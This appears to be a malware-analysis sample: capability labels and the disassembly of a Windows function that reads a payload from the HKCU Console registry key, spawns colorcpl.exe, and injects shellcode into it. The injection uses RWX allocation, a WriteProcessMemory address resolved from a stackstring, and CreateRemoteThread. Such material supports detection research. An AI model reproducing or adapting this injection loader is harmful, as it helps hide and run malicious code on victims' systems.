Function at 0x180001370
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create thread
Enumerate processes
Execute shellcode via indirect call
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov qword [rbp - 0x38], 0xfffffffffffffffe
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x1800013ed
mov dword [rsp + 0x60], 0x74697257
mov dword [rsp + 0x64], 0x6f725065
mov dword [rsp + 0x68], 0x73736563
mov dword [rsp + 0x6c], 0x6f6d654d
mov word [rsp + 0x70], 0x7972
mov byte [rsp + 0x72], 0
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x199a21208], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [rsp + 0x50], 0x61657771
mov dword [rsp + 0x54], 0x32336473
mov dword [rsp + 0x58], 0x63787a31
mov byte [rsp + 0x5c], 0
mov qword [rbp - 0x48], 0xf
xor r12d, r12d
mov qword [rbp - 0x50], r12
mov byte [rbp - 0x60], r12b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x60]
call fcn.180001a90
nop
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x18]
call fcn.180001220
nop
cmp qword [rbp - 0x48], 0x10
jb 0x18000145e
mov rcx, qword [rbp - 0x60]
call fcn.180002f64
mov qword [rbp - 0x48], 0xf
mov qword [rbp - 0x50], r12
mov byte [rbp - 0x60], 0
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x78]
call fcn.180001350
nop
mov dword [rbp + 0x1e8], 0x736e6f43
mov dword [rbp + 0x1ec], 0x656c6f
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rbp + 0x1e8]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x1e0], r12d
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdx, qword [rsp + 0x78]
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp + 0x1f0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x1e0]
call fcn.180002674
mov rdi, rax
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdx, qword [rsp + 0x78]
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp + 0x1f0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x1e0]
call fcn.180002674
mov rsi, rax
mov r8d, dword [rbp + 0x1e0]
mov rdx, rdi
mov rcx, rax
call fcn.180002c30
mov rcx, qword [rbp + 0x1f0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rbp + 0x10]
call fcn.180007a70
mov dword [rbp + 0x10], 0x68
mov dword [rbp + 0x4c], 1
mov word [rbp + 0x50], r12w
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32colorcpl.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800015e0
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax]
mov ebx, r12d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180001651
mov dword [rbp + 0x80], 0x130
lea rdx, [rbp + 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x180001644
lea rdx, str.colorcpl.exe
lea rcx, [rbp + 0xac]
call fcn.18000284c
test eax, eax
je 0x18000163e
lea rdx, [rbp + 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x180001611
mov ebx, dword [rbp + 0x88]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x18000165e
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800015e0
mov r8d, ebx
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov r8d, dword [rbp + 0x1e0]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov r9d, dword [rbp + 0x1e0]
mov rax, qword [0x199a21208]
test rax, rax
je 0x1800016ba
mov qword [rsp + 0x20], r12
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
nop
cmp qword [rbp - 0x70], 0x10
jb 0x1800016ec
mov rcx, qword [rsp + 0x78]
call fcn.180002f64
mov qword [rbp - 0x70], 0xf
mov qword [rbp - 0x78], r12
mov byte [rsp + 0x78], 0
cmp qword [rbp], 0x10
jb 0x18000170d
mov rcx, qword [rbp - 0x18]
call fcn.180002f64
add rsp, 0x2b0
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret